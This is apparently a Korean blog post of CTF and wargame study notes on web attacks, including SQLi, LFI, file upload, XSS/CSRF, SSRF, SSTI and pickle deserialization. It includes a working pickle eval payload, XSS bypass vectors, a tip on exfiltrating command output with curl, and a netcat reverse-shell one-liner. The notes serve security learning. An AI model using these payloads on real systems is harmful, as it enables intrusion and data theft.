Web
프록시
- basic으로 가끔 다룸
- 전달 request 잡아서 header/data 변조 하여 필터링 우회
세션 쿠키
- ID/PW를 모르더라도 세션을 알 수 있으면 Edit cookie로 로그인 能
- 짧고 범위가 한정되어 있을 경우 BF 공격 적극 활용
- 쿠키는 데이터 자체를 이용자가 저장하며, 세션은 서버가 저장한다는 핵심적인 차이가 있다
- 쿠키 : HTTP에서 상태를 유지하기 위해 사용하는 Key-Value 형태의 값
- 세션 : 쿠키에 포함된 Session ID를 사용해 서버에 저장된 세션 데이터에 접근하는 방식
NoSQL(NOT Only SQL)
- SQL을 사용하지 않고 복잡하지 않은 데이터를 저장해 단순 검색 및 추가 검색 작업을 위해 매우 최적화된 저장 공간인 것이 큰 특징
- Redis, Dynamo, CouchDB, MongoDB 등 다양
SOP (Same Origin Policy)
- 클라이언트에서 악의적인 페이지 차단
- Same Origin 일 때만 통과 Cross Origin이면 차단
CORS(Cross Origin Resource Sharing)
- 웹 서비스에서 동일 출처 정책인 SOP를 완화하여 다른 출처의 데이터를 처리해야 하는 상황 有
- ex) cafe.dreamhack.io / blog.dreamhack.io / mail.dreamhack.io
- 교차 출처의 자원을 공유하는 방법은 CORS와 관련된 HTTP 헤더를 추가하여 전송하는 방법 사용
- 이 외에도 JSON with Padding (JSONP) 방법을 통해 CORS를 대체 能
CSP(Content Security Policy)
- 웹 보안 정책 중 하나
- XSS 등 웹페이지에 악성 스크립트를 삽입하는 공격기법들을 막기 위해 사용
- 헤더에 "Content-Security-Policy:*" 삽입하여 허용된 범위 내의 동작인지 필터링한다
- default-src= , script-src= 등 값을 줄 수 있다
- script-src=nonce-EDNnf03nceIOfn39fn3e9h3sdfa
- 위와 같이 특정 function 사용을 가능하게 할 수 있다
- 참고) https://simjaejin.tistory.com/31
Mysql SQLi
- " 필터링 안되어있으면 강제로 닫아서 쿼리 조작 能
- group_concat(), substr(), select 1 union select 2 기억
mongoDB SQLi
- $ne, $gt, $lt, $regex 등 활용하여 공격 能
PHP include 취약점
- include로 php 코드를 실행한다
- 이때, 실행하는 파일의 확장자를 check 하지 않는다
PHP LFI(Local File Inclusion) 취약점
- include 에 특정 파일 전달하여 읽어내는 취약점
- default로 막혀있으나 PHP Wrappers로 우회 가능
- php://filter 등 여러개 존재
- 주석까지 확인할 때 convert.base64-encode 활용
- 파일업로드 서비스가 없어도 세션의 형태로 저장시켜 LFI로 실행시키는 공격도 能
File Download
- 파일을 다운로드시키거나 출력해주는 서비스에서 상대/절대 주소 조작하여 권한없는 파일 접근 能
File Upload
- webshell을 서버에 업로드 후 위치를 알아내서 브라우저에서 실행하면 명령어 실행 能
- 확장자 필터링을 자주 우회한다
- [Tomcat] tomcat-users.xml / manager-gui / ID&PW info included
- TWAM(Tomcat Web Application Manager) 페이지로 접속하여 파일업로드 가능
XSS & CSRF 차이
- 공통점 : 두 개의 취약점은 모두 클라이언트를 대상으로 하는 공격이며, 이용자가 악성 스크립트가 포함된 페이지에 접속하도록 유도해야 한다
- 차이점 : 두 개의 취약점은 공격에 있어 서로 다른 목적을 가진다. XSS는 인증 정보인 세션 및 쿠키 탈취를 목적으로 하는 공격이며, 공격할 사이트의 오리진에서 스크립트를 실행한다. CSRF는 이용자가 임의 페이지에 HTTP 요청을 보내는 것을 목적으로 하는 공격이다. 또한, 공격자는 악성 스크립트가 포함된 페이지에 접근한 이용자의 권한으로 웹 서비스의 임의 기능을 실행할 수 있다.
Stored XSS
- 의도하지 않은 <sciprt>를 실행시키게 하는 client 공격
- <script> 필터 시 <img src="" onerror=""> 등 우회 기법 有
CSRF(Cross-Site Request Forgery)
- XSS 공격 벡터로 특정 권한을 가진 사람만 할 수 있는 행위를 하게끔 유도
Command Injection
- 특정 명령어를 서버에서 실행시켜주는 서비스가 존재할 때, 입력 값으로 원하는 다른 명령어를 실행
SSRF(Server-side Request Forgery)
- 웹 서비스의 요청을 변조하는 취약점, 브라우저가 변조된 요청을 보내는 CSRF와는 다르게 웹 서비스의 권한으로 변조된 요청을 보낼 수 있다
- 최근의 대다수의 서비스들은 마이크로서비스로 구조를 많이 바꾸고, 새롭게 개발하는 추세이기 때문에 SSRF 취약점의 파급력이 더욱 높아지고 있다
- internal 에서만 구동가능한 서비스를 requests.get, requests.post 내의 인자를 변조하여 외부의 실행도 가능해질 수 있다
SSTI(Server Side Template Injection)
- '''%s''' % (request.path)와 같이 입력 값을 줄 수 있을 때 {{ }} 로 묶으면 단순 문자열이 아닌 코드 입력 가능
- test : {{7*7}}
- {{config.items}} 출력 가능
- 조금 다르긴 하지만 마치 FSB? printf(buf); -> 입력값으로 %p %p %x %x
JS 해킹문제
- 워게임/CTF 단골손님
- 난독화 코드 해석 & 브라우저 breakpoint 디버깅 & console 실행 등 접근
- remember toString()
PHP
- "==", "===", (strcmp 배열 vs 문자열 return 0)
Curl
- 가장 널리 사용하는 인터넷 데이터 전송을 위한 도구
- GET / POST 등 request를 제작하여 전송이 가능하다
- 타겟서버의 명령어를 실행할 수 있지만, 결과를 확인할 수 없을 때 유용하게 사용 가능하다
- 서버를 하나 열어두고 명령어 실행 결과를 서버로 전송하게 하여 확인이 가능하다
- 참고) https://nitw.tistory.com/131
Python Pickle
- 텍스트 상태의 데이터가 아닌 파이썬 객체 자체를 파이너리 파일로 저장하는 것
- create pickle session과 check pickle session 등 활용 가능 (dumps/loads)
Python pickle deserialize Vuln
- 복호화할 때 사용하는 pickle의 object.__reduce__() 메소드 취약점
- __reduce() 메소드는 파이썬 객체 계층 구조를 unpickling 할 때, 객체를 재구성하는 것에 대한 tuple을 변환
- 호출 가능한 객체에 eval 혹은 os 와 같이 명령어를 실행할 수 있는 클래스를 임의로 지정하면 RCE 가능
- example python code)
import pickle, base64
class vuln:
def __reduce__(self):
p="open('./flag.txt').read()"
return (eval,(p,))
rs={'name': vuln()}
print(base64.b64encode(pickle.dumps(rs)).decode('utf8'))
- 참고) https://hoppipolla0507.tistory.com/22
Reverse shell
- RCE를 얻었을 경우 Reverse shell로 shell을 획득한 후 추가 공격을 진행해야하는 case가 종종 있다
- privilege escalation
- -e, -c 옵션을 사용하는 case가 많지만 옵션이 없어도 아래 명령어 사용가능
- "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.10.10 9001 >/tmp/f"
- 참고) https://www.revshells.com/
Tips
※ 함수 사용 시 () 등 오탈자를 잘 보고, 그로 인한 문제점을 잘 고려해보자
※ online IDE가 잘되어있으니, 적극 활용하자
※ robots.txt check
'Hacking Studies' 카테고리의 다른 글
HACKINGCAMP 24th 후기 (0) | 2022.02.19 |
---|---|
앱 해킹백과 (0) | 2022.01.24 |
DOM Based XSS (0) | 2021.08.09 |
OllyDBG에서 많이 사용하는 단축키 (0) | 2021.08.06 |
[SQL INJECTION] where and or 기준 정리 (0) | 2021.03.18 |